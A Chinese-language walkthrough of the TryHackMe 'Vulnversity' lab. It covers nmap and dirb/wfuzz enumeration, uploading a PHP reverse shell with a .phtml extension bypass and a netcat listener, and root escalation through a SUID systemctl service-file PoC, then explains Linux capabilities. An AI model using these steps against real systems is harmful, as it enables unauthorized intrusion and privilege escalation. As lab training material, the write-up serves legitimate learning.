渗透测试战技101之提权?capabilities?

  • https://tryhackme.com/room/vulnversity 此练习场景属于免费

技能地图如下:

image

枚举

export $IP=10.10.1.253
sudo nmap -T5 -sC -sV -oX nmap/vul $IP 

image

模糊测试

  • wfuzz

image

注意它的提示,对于ssl可能失效

image

您可以使用此工具,我这里使用的是dirb与wfuzz的通用字典,同时发现dirb具备二层递归性。

dirb http://10.10.1.253:3333 /usr/share/wordlists/wfuzz/general/common.txt 

image

  • shell参数检查,改成内网VPN分发的地址。

php shell:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

image

  • bypass的后缀名phpshell.phtml

文件扩展名模糊测试:/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt

当然还有基于路径,文件类型,编码,参数污染,http请求走私,甚至defcon上的http去同步等其他各种攻击向量的文件上传绕过模糊,不在这里打开兔子洞。

nc -lnvp 1234
http://10.10.1.253:3333/internal/uploads/

image

提权

find / -perm -4000 2>/dev/null   #suid  全局索引

image

  • systemctl与systemd,我们不在这里打开这个兔子洞,因为稀里哗啦的倒腾一堆官方文档与术语,到头来还是螺丝一拧,我鼓励您打开兔子洞并试着阅读大量文献已理解它们,这本身就是好事。总之,systemctl调用systemd init服务,又在bin中,这是个机会,它允许任何用户创建系统服务并以root运行。
eop=$(mktemp).service                                                                      echo '[Service] 
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"

[Install]                                                       
WantedBy=multi-user.target' > $eop  

可将此poc视为黑盒,它不是逻辑性的,因为它在一定条件中可以反复实施。

这种编写风格类似于一些配置文件的写法。

mktemp是命令,单单命令可以猜测一二出来,创建文件,至于什么文件以及生命周期是否永恒不关心,这个文件作为服务输出到哪里请看echo的输出,与[install]元数据,它肯定是属性,都涉及到服务安装了。环境变量是$eop。命令与poc部署如图

image

image

扩展阅读

  • 关于setuid

影响这些权限赋予的东西在底层叫做一个名词:能力,功能,Capabilities

比如:我们将ping复制出来,设置了setuid以后它才能打开套接字并运行。

image

在手册里,可以匹配到这些底层权限赋予的解释。发现,一个命令,拥有它以后就有了真正的权限了。

man capabilities

image

查看它具备的底层权限

getpcaps 进程号

image

root 默认存在CAP_SETFCAP 权限,因此可以给别人设置权限。可以偷偷给很多非root用户分配很多非法权限。

image

  • 而setuid的设置,默认给myping这个程序赋予了cap_net_raw=p这种权限,因此您不需要root也能运行它

感谢师傅们很有耐心的阅读到了这里

我们还会再见面的

共勉

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发